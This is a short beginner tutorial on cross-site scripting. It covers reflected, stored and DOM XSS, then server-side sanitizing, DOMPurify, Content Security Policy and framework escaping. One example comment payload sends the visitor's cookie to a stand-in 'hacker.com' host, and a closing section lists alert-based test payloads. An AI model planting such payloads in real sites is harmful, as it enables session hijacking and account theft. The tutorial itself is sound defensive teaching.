Cross-Site Scripting(XSS)

What is Cross-Site Scripting?

In one sentence: When hacker can put malicious JavaScript code on your website and when other users open the site, that code gets executed!

Imagine you have a bulletin board in your neighborhood. Anyone can put notes. A hacker comes and puts a note that when someone reads it, they unconsciously give their wallet to the hacker! XSS is the same — hacker puts JavaScript code on your website, other users who come see the site, the code executes and their data gets stolen.

Types of XSS:

Reflected XSS: Malicious code is in the URL. User clicks the link, code executes. Usually comes with phishing.

Stored XSS: Malicious code is stored in the database. Anyone who opens the page, the code executes. More dangerous!

DOM XSS: Malicious code executes in the user's browser, without reaching the server.

XSS Example:

Imagine you have a website that takes and displays comments:

1<div>User comment: [user comment]</div>

Hacker puts comment:

1<script>document.location='https://hacker.com/steal?cookie='+document.cookie</script>

When another user opens the page, this code executes and user's cookie gets sent to the hacker! Hacker can use the cookie to access user's account.

Why is it important for security?

Because XSS can lead to Session theft, personal information theft, Redirect to phishing site, or even performing actions on behalf of the user.

Input Validation

Always validate and sanitize user input on the server side:

1// Good practice
2const sanitizeInput = (input) => {
3  return input.replace(/[<>\"']/g, (char) => {
4    const entities = {
5      '<': '&lt;',
6      '>': '&gt;',
7      '"': '&quot;',
8      "'": '&#x27;'
9    };
10    return entities[char];
11  });
12};

Output Encoding

Encode data before inserting it into HTML, JavaScript, CSS, or URLs:

1// Using a library like DOMPurify
2import DOMPurify from 'dompurify';
3const clean = DOMPurify.sanitize(dirty);

Content Security Policy (CSP)

Implement CSP headers to restrict which scripts can execute:

1Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'

Use Modern Frameworks

Modern frameworks like React, Vue, and Angular provide automatic XSS protection through template escaping.

Testing for XSS

Common XSS payloads for testing:

1<script>alert('XSS')</script>
2<img src=x onerror=alert('XSS')>
3<svg onload=alert('XSS')>

Always test in a controlled environment with proper authorization.